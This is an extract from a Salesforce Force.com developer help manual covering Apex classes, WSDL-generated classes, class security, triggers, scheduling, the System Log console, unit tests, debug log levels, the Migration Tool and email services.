Setting Apex Class Security
Understanding Dependencies
Running Apex Unit Tests
Developer's Guide: Force.com Apex Code Developer's Guide

Viewing Apex Classes


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To define, edit, delete, set security, set version settings, show “Author Apex”
dependencies, and run tests for Apex classes:

After you have created a class, you can view the code contained in the class, as well as the API against which the class was
saved, and if the class is valid or active. Click Setup ➤ Develop ➤ Apex Classes, then click the name of the class you want
to view. While viewing a class, you can do any of the following:

• Click Edit to make changes to the class.


Note:

- You can add, edit, or delete Apex using the Salesforce.com user interface only in a Developer Edition
organization, a Salesforce.com Enterprise Edition trial organization, or sandbox organization. In a Salesforce.com
production organization, you can only make changes to Apex by using the Metadata API deploy call, the
Force.com IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are
free resources provided by salesforce.com to support its users and partners, but are not considered part of our
Services for purposes of the salesforce.com Master Subscription Agreement.
- A icon indicates that an Apex class was released in a managed package. Apex classes in packages have special
considerations.

969
Develop Viewing Apex Classes

- A icon indicates that an Apex class is in an installed managed package. You cannot edit or delete a class in
a managed package.

• Click Delete to delete the class.


Note: You cannot delete a class that is specified as a controller for a Visualforce page or component.

• If your class has a method defined as a webService, click Generate WSDL to generate a WSDL document based on
the class.
Note: You cannot generate a WSDL document for classes defined as isTest.

• Click Download to download a copy of your Apex script.


• Click Run Test to run the unit tests contained in the class.
• Click Security to set the Apex class level security.
• Click Show Dependencies to display the items, such as fields, objects, or other classes, that must exist for this class to be
valid. For more information, see Understanding Dependencies on page 923.

The Class Summary tab displays the prototype of the class; that is, the classes, methods and variables that are available to
other Apex scripts. The Class Summary tab lists the access level and signature for each method and variable in an Apex class,
as well as any inner classes. If there is no prototype available, this tab is not available.
Note:

• For Apex classes not included in managed packages, only classes, methods and variables defined as either global
or public are displayed.
• For Apex classes included in managed packages, the Class Summary tab also lists the package version a particular
property or method was introduced. You can select a version number from the drop-down list to see the prototype
for the selected package version. The default value is the current installed version. A package developer can deprecate
an Apex method and upload a new package version, thus exposing an Apex class with a different prototype. Only
classes, methods and variables defined as global are displayed in prototypes for managed package classes.

If an Apex class references components in installed managed packages, such as another class, trigger, or custom object, the
Version Settings tab lists the package versions of the packages containing the referenced components.

See Also:
Force.com Apex Code Overview
Managing Apex Classes
Defining Apex Classes
Creating an Apex Class from a WSDL
Setting Apex Class Security
Using the Editor for Visualforce or Apex
About Managed Packages
What is a Package Version?
Managing Version Settings for Apex
Developer's Guide: Force.com Apex Code Developer's Guide

970
Develop Creating an Apex Class from a WSDL

Creating an Apex Class from a WSDL


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To define, edit, delete, set security, set version settings, show “Author Apex”
dependencies, and run tests for Apex classes:

An Apex class can also be automatically generated from a WSDL document that is stored on a local hard drive or network.
Creating a class by consuming a WSDL document allows developers to make callouts to the external Web service in their
Apex scripts.
Note: Use Outbound Messaging to handle integration solutions when possible. Use callouts to third-party Web
services only when necessary.

To access this functionality:

1. In the application, click Setup ➤ Develop ➤ Apex Classes.


2. Click Generate from WSDL.
3. Click Browse to navigate to a WSDL document on your local hard drive or network, or type in the full path. This WSDL
document is the basis for the Apex class you are creating and must be 1 MB or less.
Note:
The WSDL document that you specify may contain a SOAP endpoint location that references an outbound port.
For security reasons, Salesforce.com restricts the outbound ports you may specify to one of the following:

• 80: This port only accepts HTTP connections.


• 443: This port only accepts HTTPS connections.
• 7000-10000 (inclusive): These ports accept HTTP or HTTPS connections.

4. Click Parse WSDL to verify the WSDL document contents. The application generates a default class name for each
namespace in the WSDL document and reports any errors. Parsing will fail if the WSDL contains schema types or schema
constructs that are not supported by Apex classes, or if the resulting classes would exceed 100,000 character limit on Apex
classes. For example, the Salesforce.com SOAP API WSDL cannot be parsed.
5. Modify the class names as desired. While you can save more than one WSDL namespace into a single class by using the
same class name for each namespace, Apex classes can be no more than 100,000 characters total.
6. Click Generate Apex. The final page of the wizard shows which classes were successfully generated, along with any errors
from other classes. The page also provides a link to view the generated code if it was successful.

The successfully generated Apex class includes stub and type classes for calling the third-party Web service represented by the
WSDL document. These classes allow you to call the external Web service from Apex. The SOAP request from, and response
to, calls is limited to 1 MB or less. For an example, see the Force.com Apex Code Developer's Guide.

971
Develop Setting Apex Class Security

Note: If a WSDL document contains an Apex reserved word, the word is appended with _x when the Apex class is
generated. For example, upsert in a WSDL document would be converted to upsert_x in the generated Apex
class. For a list of reserved words, see the Force.com Apex Code Developer's Guide.

See Also:
Force.com Apex Code Overview
Managing Apex Classes
Viewing Apex Classes
Defining Apex Classes
Setting Apex Class Security
Developer's Guide: Force.com Apex Code Developer's Guide

Setting Apex Class Security


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To define, edit, delete, set security, set version settings, show “Author Apex”
dependencies, and run tests for Apex classes:

You can specify which users can execute methods in a particular top-level Apex class based on their profile. These permissions
only apply to Apex class methods, such as Web service methods, or any method used in a custom Visualforce controller or
controller extension applied to a Visualforce page. Triggers always fire on trigger events (such as insert or update), regardless
of a user's permissions.
Note: If you have installed a managed package in your organization, you can set security only for the Apex classes in
that package that are declared as global, or for classes that contain methods declared as webService.
If a user has the “Author Apex” permission enabled in his or her profile, the user has access to all Apex classes in the
associated organization, regardless of the security setting for individual classes.

Permission for an Apex class is checked at the top level only. For example, if class A calls class B, and a user profile has access
only to class A but not class B, the user can still successfully execute the code in class A. Likewise, if a Visualforce page uses
a custom component with an associated controller, security is only checked for the controller associated with the page. The
controller associated with the custom component executes regardless of permissions.
To set Apex class security from the class list page:

1. Click Setup ➤ Develop ➤ Apex Classes.


2. Next to the name of the class that you want to restrict, click Security.
3. Select the profiles that you want to enable from the Available Profiles list and click Add.
4. Select the profiles that you want to disable from the Enabled Profiles list and click Remove.
5. Click Save.

972
Develop Defining Apex Triggers

To set Apex class security from the class detail page:

1. Click Setup ➤ Develop ➤ Apex Classes.


2. Click the name of the class that you want to restrict.
3. Click Security
4. Select the profiles that you want to enable from the Available Profiles list and click Add.
5. Select the profiles that you want to disable from the Enabled Profiles list and click Remove.
6. Click Save.

To set Apex class security from the profile detail page:

1. Click Setup ➤ Manage Users ➤ Profiles.


2. Click the name of the profile you want to modify.
3. In the Enabled Apex Class Access related list, click Edit.
4. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add.
5. Select the Apex classes that you want to disable from the Enabled Apex Classes list and click Remove.
6. Click Save.

See Also:
Force.com Apex Code Overview
Managing Apex Classes
Defining Apex Classes
Creating an Apex Class from a WSDL
Running Apex Unit Tests
Managing Version Settings for Apex
Developer's Guide: Force.com Apex Code Developer's Guide

Defining Apex Triggers


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To define Apex triggers: “Author Apex”

Apex triggers are stored as metadata in the application under the object with which they are associated.
Note: You can add, edit, or delete Apex using the Salesforce.com user interface only in a Developer Edition
organization, a Salesforce.com Enterprise Edition trial organization, or sandbox organization. In a Salesforce.com
production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com
IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided
by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the
salesforce.com Master Subscription Agreement.

973
Develop Defining Apex Triggers

To define a trigger:

1. For a standard object, click Setup ➤ Customize, click the name of the object, then click Triggers.
For a custom object, click Setup ➤ Create ➤ Objects and click the name of the object.
For campaign members, click Setup ➤ Customize ➤ Campaigns ➤ Campaign Member ➤ Triggers.
For case comments, click Setup ➤ Cases ➤ Case Comments ➤ Triggers.
For email messages, click Setup ➤ Cases ➤ Email Messages ➤ Triggers.
2. In the Triggers related list, click New.
3. Click Version Settings to specify the version of Apex and the API used with this trigger. If your organization has installed
managed packages from the AppExchange, you can also specify which version of each managed package to use with this
trigger. Generally, you should use the default values for all versions. This associates the trigger with the most recent version
of Apex and the API, as well as each managed package. You can specify an older version of a managed package if you want
to access components or functionality that differs from the most recent package version. You can specify an older version
of Apex and the API to maintain specific behavior.
4. Select the Is Active checkbox if the trigger should be compiled and enabled. Leave this checkbox deselected if you only
want to store the script in your organization's metadata. This checkbox is selected by default.
5. In the Body text box, enter the Apex for the trigger. A single trigger can be up to 32,000 characters in length.
To define a trigger, use the following syntax:

trigger triggerName on ObjectName (trigger_events) {


code_block
}

where trigger_events can be a comma-separated list of one or more of the following events:

• before insert
• before update
• before delete
• after insert
• after update
• after delete
• after undelete

Note:

• You can only use the webService keyword in a trigger when it is in a method defined as asynchronous, that
is, when the method is defined with the @future keyword.
• A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime
error when the trigger is called in bulk from the Force.com API.

6. Click Save.

Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed
since the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger,
including superficial changes such as edits to an object or field description, the isValid flag is set to false until the
Apex compiler reprocesses the code. Recompiling occurs when the trigger is next executed, or when a user re-saves
the trigger in metadata.

974
Develop Managing Apex Triggers

If a lookup field references a record that is deleted, Salesforce.com sets the lookup field to null, and does not run any
Apex triggers, validation rules, workflow rules, or roll-up summary fields.

See Also:
Force.com Apex Code Overview
Managing Apex Triggers
Managing Version Settings for Apex
Using the System Log Console
Managing Debug Logs
Using the Editor for Visualforce or Apex
Developer's Guide: Force.com Apex Code Developer's Guide

Managing Apex Triggers


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To define, edit, delete, and show dependencies for Apex “Author Apex”
triggers:

A trigger is an Apex script that executes before or after specific data manipulation language (DML) events occur, such as
before object records are inserted into the database, or after records have been deleted.
Triggers are stored as metadata in Salesforce.com. A list of all triggers in your organization is located at Setup ➤ Develop
➤ Apex Triggers. In addition to this list, triggers are associated and stored with specific objects. For standard objects, triggers
are located at Setup ➤ Customize ➤ Standard_Object_Name ➤ Triggers, and on the object detail page for custom objects
at Setup ➤ Create ➤ Objects.
Note: The namespace prefix is added to Apex classes, Apex triggers, Apex components, Visualforce pages, brand
templates, folders, s-controls, static resources, web links, and custom report types if they are included in a managed
package. However, if your profile does not have customize application permissions, the namespace prefix field is not
displayed for brand templates, folders, and custom report types. For more information on namespace prefixes, see
Registering a Namespace Prefix on page 953.

Click New to create an Apex trigger.


Note: You can only create triggers from the associated object, not from the Apex Triggers page.

Once you have created an Apex trigger:

• Click Edit next to the trigger name to modify its contents in a simple editor.
• Click Del next to the trigger name to delete the trigger from your organization.

975
Develop Viewing Apex Trigger Details

Note:

• You can add, edit, or delete Apex using the Salesforce.com user interface only in a Developer Edition organization,
a Salesforce.com Enterprise Edition trial organization, or sandbox organization. In a Salesforce.com production
organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE,
or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided
by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the
salesforce.com Master Subscription Agreement.
• A icon indicates that an Apex trigger is in an installed managed package. You cannot edit or delete a trigger in
a managed package.

See Also:
Force.com Apex Code Overview
Defining Apex Triggers
Viewing Apex Trigger Details
Understanding Dependencies
What is a Debug Log?
Managing Debug Logs
Developer's Guide: Force.com Apex Code Developer's Guide

Viewing Apex Trigger Details


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To view Apex triggers: “Author Apex”

Apex triggers are stored as metadata in the application under the object with which they are associated. You can also view all
triggers by clicking Setup ➤ Develop ➤ Apex Triggers.
Note: You can add, edit, or delete Apex using the Salesforce.com user interface only in a Developer Edition
organization, a Salesforce.com Enterprise Edition trial organization, or sandbox organization. In a Salesforce.com
production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com
IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided
by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the
salesforce.com Master Subscription Agreement.

To view the details for a trigger, click Setup ➤ Develop ➤ Apex Triggers, then click the name of the trigger. You can also
access the trigger details from the object. For a standard object, click Setup ➤ Customize, click the name of the object, click
Triggers, then click the name of the trigger. For a custom object, click Setup ➤ Create ➤ Objects, click the name of the
object, then click the name of the trigger.
From the trigger detail page, you can do any of the following:

976
Develop Viewing Apex Trigger Details

• Click Edit to modify the contents of the trigger.

Note: A icon indicates that an Apex trigger is in an installed managed package. You cannot edit or delete a
trigger in a managed package.

• Click Delete to delete the trigger from your organization.


• Click Show Dependencies to display the items, such as fields, s-controls, or classes, that are referenced by the Apex script
contained in the trigger.
• Click Download Apex to download the text of the trigger. The file is saved with the name of the trigger as the file name,
with the filetype of .trg.

The trigger detail page shows the following information for a trigger:

• The name of the trigger


• The name of the object with which the trigger is associated, such as Account or Case.
• The API version that the trigger has been saved against.
• Whether a trigger is valid.
Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed
since the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger,
including superficial changes such as edits to an object or field description, the isValid flag is set to false until
the Apex compiler reprocesses the code. Recompiling occurs when the trigger is next executed, or when a user
re-saves the trigger in metadata.
If a lookup field references a record that is deleted, Salesforce.com sets the lookup field to null, and does not run
any Apex triggers, validation rules, workflow rules, or roll-up summary fields.

• Whether the trigger is active.


• The text of the Apex script contained in the trigger.
• If trigger references components in installed managed packages, such as an Apex class, a Visualforce page, a custom object,
and so on, the Version Settings section lists the package versions of the packages containing the referenced components.
• If the trigger is contained in an installed managed package, the Installed Package indicates the package name.

See Also:
Force.com Apex Code Overview
Managing Apex Triggers
Defining Apex Triggers
About Managed Packages
What is a Package Version?
Managing Version Settings for Apex
Developer's Guide: Force.com Apex Code Developer's Guide

977
Develop Scheduling Apex

Scheduling Apex
Available in: Unlimited, Developer, and Enterprise Editions

Note: The Apex scheduler is currently available through a limited release program. Contact salesforce.com to verify
if your organization can participate in the limited release program.

Use the Apex scheduler if you have specific Apex classes that you want to run on a regular basis, or to run a batch Apex job
using the Salesforce.com user interface.
Important: Salesforce.com only adds the process to the queue at the scheduled time. Actual execution may be delayed
based on service availability.

To schedule jobs using the Apex scheduler:

1. Implement the Schedulable interface in an Apex class that instantiates the class you want to run.
2. Click Setup ➤ Develop ➤ Apex Classes and click Schedule Apex.
3. Specify the name of a class that you want to schedule.
4. Specify how often the Apex class is to run.

• For Weekly—specify one or more days of the week the job is to run (such as Monday and Wednesday).
• For Monthly—specify either the date the job is to run or the day (such as the second Saturday of every month.)

5. Specify the start and end dates for the Apex scheduled class. If you specify a single day, the job only runs once.
6. Specify a preferred start time. The exact time the job starts depends on what other jobs are in the queue at that time.
7. Click Save.
Note: You can only have ten active or scheduled jobs concurrently.

After you schedule an Apex job, you can monitor the progress of the job on the All Scheduled Jobs page.
Once the job has completed, you can see specifics about the job (such as whether it passed or failed, how long it took to process,
the number of records process, and so on) on the Apex Jobs page.

See Also:
Force.com Apex Code Overview
Defining Apex Classes
Apex Job Queue
Developer's Guide: Force.com Apex Code Developer's Guide

978
Develop Using the System Log Console

Using the System Log Console


Available in: Unlimited, Developer, and Enterprise Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To use the System Log console: “View All Data”
To use the text entry box: “Author Apex”

The System Log console is a separate window that can be used for debugging code snippets. Access the System Log console
from the Salesforce.com user interface by clicking System Log in the upper right of any page. Enter the code you want to test
at the bottom of the window and click Execute. The body of the System Log displays system resource information (such as
how long a line took to execute or how many database calls were made) as well as debugging information if the code didn't
run to completion. The System Log may also contain information about workflow rules, validation rules, assignment rules,
escalation rules, and approval processes.
In the System Log console, you have the following options:

• Select Wrap to make the text in the display window wrap.


• Select Newest at the top to show the latest debugging information at the top of the display window. The default is
for it to display at the bottom.
• Select the Log category to specify the type of information to log.
• Select the Log level to specify how much information to log.
• Click Clear to remove all text from the display window.
• Click Close to exit the System Log window.

For more information on the debug log, see What is a Debug Log? on page 981. For more information on log categories and
levels, see Setting Debug Log Categories and Levels on page 984.
The System Log console is divided into two main areas. The debug log information is displayed at the top of the console.
Below the debug log information is a text entry box where you can enter anonymous statements and then click Execute. You
must have “Author Apex” permission to use the text entry box.
Any Apex script that you enter into the text entry box runs as if you had executed it using ExecuteAnonymous.
You cannot use the keyword static in code that you enter directly into the System Log console. In addition, although you
can have DML statements (such as insert or delete), those actions are not actually performed.
Caution: If you are exercising methods defined as testMethod by calling the class that contains them using the
System Log console, all DML statements actually are executed. This may add unwanted data to your organization.

979
Develop Running Apex Unit Tests

For more information on the syntax and use of Apex, see the Force.com Apex Code Developer's Guide.

See Also:
Force.com Apex Code Overview
What is a Debug Log?
Defining Apex Triggers
Running Apex Unit Tests
Managing Apex Triggers
Managing Debug Logs
Developer's Guide: Force.com Apex Code Developer's Guide

Running Apex Unit Tests


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To define, edit, delete, set security, set version settings, show “Author Apex”
dependencies, and run tests for Apex classes:

You can run the unit tests for your Apex scripts using the Salesforce.com user interface. You can run unit tests for a specific
class or you can run all the unit tests in your organization. Unit test methods take no arguments, commit no data to the
database, send no emails, and are flagged with the testMethod keyword in the method definition.
To run the unit tests for a specific class, click Setup ➤ Develop ➤ Apex Classes, click the name of the class, then click Run
Test. If your class calls another class or causes a trigger to execute, those Apex scripts are included in the total amount used
for calculating the percentage of code covered.
To run all the unit tests in your organization, click Setup ➤ Develop ➤ Apex Classes, then click Run All Tests.
The result page for running unit tests contains the following sections. Each section can be expanded or collapsed.

• A summary section that details the number of tests run, the number of failures, and the percentage of Apex scripts that
are covered by unit tests
Important:

- You must have at least 75% of your Apex scripts covered by unit tests to deploy your scripts to production
environments. In addition, all triggers should have some test coverage.
- Salesforce.com recommends that you have 100% of your scripts covered by unit tests, where possible.
- Calls to System.debug are not counted as part of Apex code coverage in unit tests.

• Test failures, if any


• A code coverage section
This section lists all the classes and triggers in your organization and the percentage of lines of code in each class and trigger
that are covered by tests. If you click on the coverage percent number, a page displays, highlighting all the lines of code

980
Develop What is a Debug Log?

for that class or trigger that are covered by tests in blue, as well as highlighting all the lines of code that are not covered by
tests in red. It also lists how many times a particular line in the class or trigger was executed by the test.
• Test coverage warnings, if any
• The debug log
The debug log is automatically set to the PROFILE log level. You cannot change the log level. The PROFILE log level
includes log messages generated by calls to the System.debug method, every DML statement or inline SOQL or SOSL
query, and the entrance and exit of every user-defined method. In addition, the end of the debug log contains overall
profiling information for the portions of the request that used the most resources, in terms of SOQL and SOSL statements,
DML operations, and Apex method invocations. These three sections list the locations in the code that consumed the
most time, in descending order of total cumulative time, along with the number of times they were executed.

For more information on the debug log, see Debug Log Details on page 378.

See Also:
Force.com Apex Code Overview
What is a Debug Log?
Setting Debug Log Categories and Levels
Viewing Debug Log Details
Defining Apex Classes
Developer's Guide: Force.com Apex Code Developer's Guide

What is a Debug Log?


Available in: Unlimited, Developer, and Enterprise Editions
Available for an additional cost in: Professional Edition

A debug log records errors and system processes that occur in your organization. Debug logs contain information about:

• Database changes
• Automated workflow processes, such as:

- Workflow rules
- Assignment rules
- Escalation rules
- Auto-response rules
- Approval processes

• Validation rules
• Request-response XML
• Apex script errors
• Resources used by an Apex script

In detail, a debug log contains the following:

981
Develop What is a Debug Log?

Log Category Description


None Do not log any information. If you select this category, it does not matter what log
level you select.
Database Includes information about database activity, including every data manipulation
language (DML) statement or inline SOQL or SOSL query.
Workflow Includes the following information for workflow rules:
• Rule name
• Start and completion times
• Name, type, and ID of the record that meets the criteria
• The user who submitted the record that triggered the rule
• Evaluation criteria and its status (either true or false)
• Time triggers with calculated scheduled dates and times
• Workflow actions taken
• Message that a field update was skipped if the existing value and updated value
match

Includes the following for assignment rules:


• Name of the rule
• Sequence of evaluation
• Evaluation criteria
• Status of the rule (either true or false)
• Name of the user or queue to which the record is assigned
Includes the following for auto-response rules:
• Name of the rule
• Sequence of evaluation
• Criteria
• Status of the rule (either true or false)
• Name of the user or queue to which the record is assigned
• Email address to which the auto-response notification is sent and the ID of the
email template that is used
Includes the following for escalation rules:
• Name of the rule
• Sequence of evaluation
• Criteria
• Status of the rule (either true or false)
• Status of the case escalation (whether or not the case was escalated)
Includes the following for approval processes:
• Name of the current user submitting the record for approval
• Email template used for email alerts
• Name of the approval process and its status (either true or false)
• The initial submission actions
• Name of the current step

982
Develop What is a Debug Log?

Log Category Description


• Step approval response and start time
• Name of the user responding to the approval request
• Approval action taken (approved, rejected, or reassigned)
• Comments entered
• Actions taken at each step
• Final approval or rejection actions

Validation Includes the following for validation rules:


• Name of the rule
• Start and completion times
• Error condition formula
• Values of each field referenced in the formula
• Whether the rule evaluated to true or false

Callout Includes the request-response XML that the server is sending and receiving from an
external Web service. This is useful when debugging issues related to using Force.com
Web services API calls.
Apex Code Includes information about Apex scripts, such as log messages generated by calls to
the System.debug method, DML statements, inline SOQL or SOSL queries, the
start and completion of any triggers, the total resources used, and the start and
completion of any test method.
Apex Profiling Includes cumulative profiling information, in particular:
• The SOQL statements that used the most resources and are likely areas for
performance tuning
This information allows you to answer questions such as: Are the query filters
selective? Is a relationship being navigated in such a way that the data model needs
reconsideration? Could the queries benefit from custom indexes? If you answer
yes to any of these questions, fix your query or data model, or contact salesforce.com
Customer Support to find out about indexing text, number, and date custom fields,
and for additional information on optimizing queries in general.
• The number of Apex method calls
• The total time that each method call needed for processing, in descending order
Use the list of the Apex method invocations that use the most resources to find
the routines where the most time is being spent. Note that outer-level routines
report the time of all the routines that they call – so typically it is best to find the
innermost routines that use the most time. Inner routines are likely to use a lot of
resources because those routines contain database operations such as SOQL or
DML statements.

983
Develop Setting Debug Log Categories and Levels

For more information about debug log levels, see Setting Debug Log Categories and Levels.

See Also:
Force.com Apex Code Overview
Managing Debug Logs
Retaining Debug Logs
Viewing Debug Log Details
Setting Debug Log Categories and Levels
Running Apex Unit Tests
Developer's Guide: Force.com Apex Code Developer's Guide

Setting Debug Log Categories and Levels


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To use the System Log console: “View All Data”
To use the text entry box: “Author Apex”

Using the System Log console, you can specify the following about debug logs:
Log category
The type of information logged, such as information from Apex scripts or workflow rules. For more information, see
Debug Log Categories on page 984.

Log level
The amount of information logged. At this time, only the Apex Code log category uses log levels. The level is cumulative.
For example, the lowest level, Error, logs error, warning, and information messages. If you select the Fine level, the
debug log contains error, warning and information messages, as well as general resource usage statistics. For more
information, see Debug Log Levels on page 986.

Debug Log Categories


You can specify the following log categories:

Log Category Description


None Do not log any information. If you select this category, it does not matter what log
level you select.
Database Includes information about database activity, including every data manipulation
language (DML) statement or inline SOQL or SOSL query.
Workflow Includes the following information for workflow rules:
• Rule name

984
Develop Setting Debug Log Categories and Levels

Log Category Description


• Start and completion times
• Name, type, and ID of the record that meets the criteria
• The user who submitted the record that triggered the rule
• Evaluation criteria and its status (either true or false)
• Time triggers with calculated scheduled dates and times
• Workflow actions taken
• Message that a field update was skipped if the existing value and updated value
match
Includes the following for assignment rules:
• Name of the rule
• Sequence of evaluation
• Evaluation criteria
• Status of the rule (either true or false)
• Name of the user or queue to which the record is assigned
Includes the following for auto-response rules:
• Name of the rule
• Sequence of evaluation
• Criteria
• Status of the rule (either true or false)
• Name of the user or queue to which the record is assigned
• Email address to which the auto-response notification is sent and the ID of the
email template that is used
Includes the following for escalation rules:
• Name of the rule
• Sequence of evaluation
• Criteria
• Status of the rule (either true or false)
• Status of the case escalation (whether or not the case was escalated)
Includes the following for approval processes:
• Name of the current user submitting the record for approval
• Email template used for email alerts
• Name of the approval process and its status (either true or false)
• The initial submission actions
• Name of the current step
• Step approval response and start time
• Name of the user responding to the approval request
• Approval action taken (approved, rejected, or reassigned)
• Comments entered
• Actions taken at each step
• Final approval or rejection actions

Validation Includes the following for validation rules:


• Name of the rule
• Start and completion times

985
Develop Setting Debug Log Categories and Levels

Log Category Description


• Error condition formula
• Values of each field referenced in the formula
• Whether the rule evaluated to true or false

Callout Includes the request-response XML that the server is sending and receiving from an
external Web service. This is useful when debugging issues related to using Force.com
Web services API calls.
Apex Code Includes information about Apex scripts, such as log messages generated by calls to
the System.debug method, DML statements, inline SOQL or SOSL queries, the
start and completion of any triggers, the total resources used, and the start and
completion of any test method.
Apex Profiling Includes cumulative profiling information, in particular:
• The SOQL statements that used the most resources and are likely areas for
performance tuning
This information allows you to answer questions such as: Are the query filters
selective? Is a relationship being navigated in such a way that the data model needs
reconsideration? Could the queries benefit from custom indexes? If you answer
yes to any of these questions, fix your query or data model, or contact salesforce.com
Customer Support to find out about indexing text, number, and date custom fields,
and for additional information on optimizing queries in general.
• The number of Apex method calls
• The total time that each method call needed for processing, in descending order
Use the list of the Apex method invocations that use the most resources to find
the routines where the most time is being spent. Note that outer-level routines
report the time of all the routines that they call – so typically it is best to find the
innermost routines that use the most time. Inner routines are likely to use a lot of
resources because those routines contain database operations such as SOQL or
DML statements.

Debug Log Levels


You can specify the following log levels. At this time, only the Apex Code log category uses log levels. These levels are listed
from lowest to highest. Not every log level at this time produces a distinct result. For example, the Error, Warn, and Info
levels all produce the same amount of information.

Log Level Description


Error, Warn, Info Includes error, warning, and information messages
Debug Includes lower level messages, as well as messages generated by calls to the
System.debug method

Fine, Finer Includes log messages generated by calls to the System.debug method, every DML
statement or inline SOQL or SOSL query, and the entrance and exit of every
user-defined method. In addition, the end of the debug log contains overall profiling
information for the portions of the request that used the most resources, in terms of
SOQL and SOSL statements, DML operations, and Apex method invocations. These

986
Develop Using the Apex Tools

Log Level Description


three sections list the locations in the code that consumed the most time, in descending
order of total cumulative time, along with the number of times they were executed.
Finest Includes all messages generated by the Fine or Finer log levels as well additional
information on Apex scripts, including the following:
• Variable declaration statements
• Start of loop executions
• All loop controls, such as break and continue
• Thrown exceptions
• Static and class initialization code
• Any changes in the with sharing context

See Also:
What is a Debug Log?
Managing Debug Logs
Viewing Debug Log Details
Running Apex Unit Tests
Developer's Guide: Force.com Apex Code Developer's Guide

Using the Apex Tools


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To use the Apex Deployment Tool: “Author Apex”

Download the Force.com Migration Tool if you want to use a script for deploying Apex from a Developer Edition or sandbox
organization to a Salesforce.com production organization using Apache's Ant build tool.
To download the Force.com Migration Tool:

1. Click Setup ➤ Develop ➤ Tools.


2. Click Force.com Migration Tool.
3. Save the salesforce_ant.zip file and unzip its contents to the location of your choice.

The salesforce_ant.zip file contains the files you need to run an ant task that exercises the compileAndTest API call,
including:

• A Readme.html file that explains how to use the tools


• A Jar file containing the ant task: ant-salesforce.jar
• A sample folder containing:

987
Develop What are Email Services?

- A codepkg\classes folder that contains SampleDeployClass.cls and SampleFailingTestClass.cls


- A codepkg\triggers folder that contains SampleAccountTrigger.trigger
- A mypkg\objects folder that contains the custom objects used in the examples
- A removecodepkg folder that contains XML files for removing the examples from your organization
- A sample build.properties file that you must edit, specifying your credentials, in order to run the sample ant tasks
in build.xml
- A sample build.xml file, that exercises the deploy and retrieve API calls

For more information on the syntax and use of Apex, see the Force.com Apex Code Developer's Guide.
You can also download the Force.com IDE to help you write Apex in projects that mirror your organization. Using this tool,
you can also compile and test the code you write, synchronize changes between the organization and project, and deploy your
code to another organization.
Note: The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support
its users and partners, but is not considered part of our Services for purposes of the salesforce.com Master Subscription
Agreement.

See Also:
Force.com Apex Code Overview
Developer's Guide: Force.com Apex Code Developer's Guide

What are Email Services?


Available in: Enterprise, Unlimited and Developer Editions
Use of email services in installed AppExchange packages also available in: Group and Professional Editions

User Permissions Needed


To configure Apex email services and email service addresses: “Modify All Data”
To create Apex classes: “Author Apex”

Email services are automated processes that use Apex classes to process the contents, headers, and attachments of inbound
email. For example, you can create an email service that automatically creates contact records based on contact information
in messages.
You can associate each email service with one or more Salesforce.com-generated email addresses to which users can send
messages for processing. To allow multiple users to use a single email service, you can:

• Associate multiple Salesforce.com-generated email addresses with the email service, and allocate those addresses to users.
• Associate a single Salesforce.com-generated email address with the email service, and write an Apex class that executes
according to the user accessing the email service. For example, you can write an Apex class that identifies the user based
on the user's email address, and creates records on behalf of that user.

988
Develop What are Email Services?

To use email services, click Setup ➤ Develop ➤ Email Services.

• Click New Email Service to define a new email service.


• Select an existing email service to view its configuration, activate or deactivate it, and view or specify addresses for that
email service.
• Click Edit to make changes to an existing email service.
• Click Delete to delete an email service.
Note: Before deleting email services, you must delete all associated email service addresses.

When defining email services, note the following:

• An email service only processes messages it receives at one of its addresses.


• Salesforce.com limits the total number of messages that all email services combined, including On-Demand Email-to-Case,
can process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending
on how you configure the failure response settings for each email service. Salesforce.com calculates the limit by multiplying
the number of user licenses by 1,000. For example, if you have ten licences, your organization can process up to 10,000
email messages a day.
• Email service addresses that you create in your sandbox cannot be copied to your production organization.
• Email services reject email messages that exceed any of these limits and notifies the sender:

- 100,000 characters (approximate) body text


- 100,000 characters (approximate) body HTML
- 100,000 characters (approximate) per text attachment
- 5 MB per binary attachment
- 10 MB per inbound email message (including body text, HTML, and attachments)

For example, email services reject these email messages:

- Because it exceeds the 10 MB per inbound email message limit, an email message containing:

› 200 characters of plain text in the email body


› 500 characters of HTML in the email body
› An 11 MB binary attachment

- Because it exceeds the 100,000 characters (approximate) body text limit, an email message containing:

› A 6 MB binary attachment
› A 50,000 character text attachment
› A 5,000 character text attachment
› 105,000 characters of plain text in the email body

- Because it exceeds the 100,000 characters (approximate) text attachment limit, an email message containing:

› 50 characters of plain text in the email body


› A 2 MB binary attachment
› A 200,000 character text attachment

989
Develop Defining Email Services

Note: To prevent email services from rejecting email messages and notifying the sender, configure email services
to truncate email body text, body HTML, and text attachments to 100,000 characters (approximate).
100,000 characters is approximately 100KB (non-DBCS) and over 200KB (DBCS or Kanji). The 100,000 character
limit is approximate—undisplayed characters (such as line feeds) may be counted—the alphanumerical character
limit may be substantially less than 100,000.

